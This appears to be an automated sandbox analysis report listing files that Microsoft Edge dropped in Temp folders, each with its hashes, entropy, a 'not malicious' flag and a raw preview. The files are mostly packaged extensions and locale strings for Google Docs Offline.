SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\2e0e8d74-9419-4c44-a361-1153837ca4a5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\591664e3-327c-4d3b-9721-917d084bbacb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\65047dee-2838-4e16-9cab-726ed26f1cf5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.415658935942625
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rrj:8e2Fa116uCntc5toYk2eM
MD5:	288B5CFFABE11C6A65248C8BF91564C8
SHA1:	221FCAB443B3310324A10BF2131C3945F9FE85D5
SHA-256:	20D10FCB3E918ACBB769AEA52E732B66C9EEC8E40E530FA7ABBDF161106BA966
SHA-512:	8E544476147D22707EBBE3842CE77D730F145037DE56BB9E0342DF17FEFC2D086A1B5CCED5394877C9D3011490616F806C0A16862428B7B7ABE344C220DDE873
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\d5009af4-a8eb-47e4-8415-e4001c34a145.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\d6d14c9f-cfe3-47c5-8c4e-9057a6b2ad97.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1582016
Entropy (8bit):	7.992926572856888
Encrypted:	true
SSDEEP:	24576:aN32JEVcraUkD1w1ABO0S8pzPjMmcYhwUfvLj9TSJwWVj55yrEOUgT:HEVcrLe1w1ADNpzLLcYeiTj9T0jtOUc
MD5:	5E3E6BFF3D033F3AB3BA83623DD7DA73
SHA1:	1CE23C951CCE701F81AA1A9FDD1DEEB023F446A8
SHA-256:	AD6E3CACD602FD289AC97B685A94D2A9744155C212D24BE913F41B35C55357A2
SHA-512:	3BE97F809471CADC00C72813D0A5D1ADD05A4E0F7FB5FC3FE775B0F74C243A3780A7F2A60A81013D5C21044D7A44DE52D3676A325E1624743291F31055D119E9
Malicious:	false
Preview:	.PNG........IHDR...2...2......?......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....eXIfMM..............................J...........R.(...........i.........Z.......H.......H.............................2...........2...........pHYs................YiTXtXML:com.adobe.xmp.....<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:tiff="http://ns.adobe.com/tiff/1.0/">. <tiff:Orientation>1</tiff:Orientation>. </rdf:Description>. </rdf:RDF>.</x:xmpmeta>..^......IDATh..Z.t\.y.f.fF.b$.....2.%.0`...qR..&.J..4...a+1.p....z ...J....p @h....W..E.b-3...w.<i$.b..........+.S.Ip....\n...7..#........m.......s....3~..D.nn.,.y.Q..@eA5f.7`F.L.e.#3#.nX..D.n...n.U.e.g.\H...>IW.s.s..!.D.r[.K.....-k.r..x...@.(..<O6<n.D..r.TmD.$c.'z..A....../..?@]Y.....2...d....J...+.t=.l.}.!.RH.I..H`..xo..X..)...e.. c..n#..d...p..Bz.....(.$....4E:.L.

C:\Users\user\AppData\Local\Temp\dda18aaf-83d6-46e9-b717-d046aacb7570.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\591664e3-327c-4d3b-9721-917d084bbacb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
